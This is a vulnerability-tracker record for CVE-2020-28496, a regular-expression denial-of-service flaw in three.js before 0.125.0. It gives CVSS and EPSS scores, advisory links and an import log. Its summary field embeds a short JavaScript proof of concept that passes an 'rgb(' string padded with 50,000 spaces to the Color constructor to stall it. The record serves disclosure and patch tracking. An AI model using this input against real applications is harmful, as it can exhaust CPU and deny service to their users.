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| Vulnerability ID | VCID-8tyc-3c24-sbac |
| Aliases |
CVE-2020-28496
GHSA-fq6p-x6j3-cmmq |
| Summary | This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms") |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 8.0 |
| Risk | 4.0 |
| Affected and Fixed Packages | Package Details |
| System | Score | Found at |
|---|---|---|
| epss | 0.01422 | https://api.first.org/data/v1/epss?cve=CVE-2020-28496 |
| epss | 0.01422 | https://api.first.org/data/v1/epss?cve=CVE-2020-28496 |
| cvssv3.1_qr | HIGH | https://github.com/advisories/GHSA-fq6p-x6j3-cmmq |
| cvssv3.1 | 7.5 | https://github.com/mrdoob/three.js/issues/21132 |
| generic_textual | HIGH | https://github.com/mrdoob/three.js/issues/21132 |
| cvssv3.1 | 7.5 | https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e |
| generic_textual | HIGH | https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e |
| cvssv3.1 | 7.5 | https://nvd.nist.gov/vuln/detail/CVE-2020-28496 |
| generic_textual | HIGH | https://nvd.nist.gov/vuln/detail/CVE-2020-28496 |
| cvssv3.1 | 7.5 | https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972 |
| generic_textual | HIGH | https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972 |
| cvssv3.1 | 7.5 | https://snyk.io/vuln/SNYK-JS-THREE-1064931 |
| generic_textual | HIGH | https://snyk.io/vuln/SNYK-JS-THREE-1064931 |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Percentile | 0.8103 |
| EPSS Score | 0.01422 |
| Published At | June 11, 2026, 12:55 p.m. |
| Date | Actor | Action | Source | VulnerableCode Version |
|---|---|---|---|---|
| 2026-06-11T21:18:43.759959+00:00 | Debian Importer | Import | https://security-tracker.debian.org/tracker/data/json | 38.6.0 |